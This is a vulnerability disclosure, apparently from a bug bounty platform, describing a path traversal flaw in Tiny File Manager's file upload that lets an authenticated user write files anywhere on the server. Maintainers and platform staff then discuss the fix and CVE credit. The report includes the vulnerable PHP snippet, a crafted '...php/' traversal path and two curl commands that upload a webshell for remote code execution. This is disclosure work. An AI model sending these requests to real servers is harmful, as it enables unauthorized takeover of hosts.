Path Traversal in prasathmani/tinyfilemanager
Reported on
Feb 15th 2022
Description
A Path Traversal vulnerability exists in Tiny File Manager, which allows the upload of files to an arbitrary location in the server. This flaw derives from the way that the file upload/creation is handled when a file with the same name already exists in the target directory.
Affected Code Snippet
// tinyfilemanager.php
// ... snippet ...
if(file_exists ($fullPath) && !$override_file_name) {
$ext_1 = $ext ? '.'.$ext : '';
$fullPath = str_replace($ext_1, '', $fullPath) .'_'. date('ymdHis'). $ext_1;
}
// ... snippet ...
If we look at how str_replace
is used to separate the old filename from its extension, we can see that it will in fact remove all occurrences of the extension from the whole fullpath parameter. Therefore, if an attacker sends, for example, two consecutive requests with fullpath ...php/...php/...php/...php/...php/var/www/html/benign.php
and filename shell.php
, it will move the uploaded file to ../../../../../var/www/html/benign_<DATE>.php
.
Proof of Concept
curl -s -H 'Cookie: filemanager=<SESSIONID>' -F'file=@shell.php' -F'fullpath=...php/...php/...php/...php/...php/var/www/html/benign.php' <HOST>
curl -s -H 'Cookie: filemanager=<SESSIONID>' -F'file=@shell.php' -F'fullpath=...php/...php/...php/...php/...php/var/www/html/benign.php' <HOST>
Impact
By leveraging this vulnerability to upload a webshell, it's possible to achieve RCE in the server/container.
@prasathmani - thanks for your contributions and effort here! Are you happy for us to assign and publish a CVE for this report?
@prasathmani - can we also confirm that @joaogmauricio did fix the vulnerability so that we can appropriately represent this on the report and their user profile?
@Jamie, @joaogmauricio - has fixed the issue and CVE report is not required.
Just for clarity, @joaogmauricio has explicitly requested a CVE - are you happy to publish one, or would you prefer not to?
HI @Jamie, thank you very much for your support and for bringing some clarity. Just to be even more clear, the CVE request process would not bring any extra work for @Prasath, correct?
🎊🎊 Thank you very much Prasath and Jamie for your full support. :)
Last question to Jamie (hopefully): how do we stand in regards to the fix attribution? Thanks.
I still see a 0 there, but that's maybe some sort of caching issue. I'll wait some more time and, if not, I'll open a ticket as per your suggestion. Thanks once again and have a great day ahead.
It was a small bug on our side - deploying a fix for it now 🐞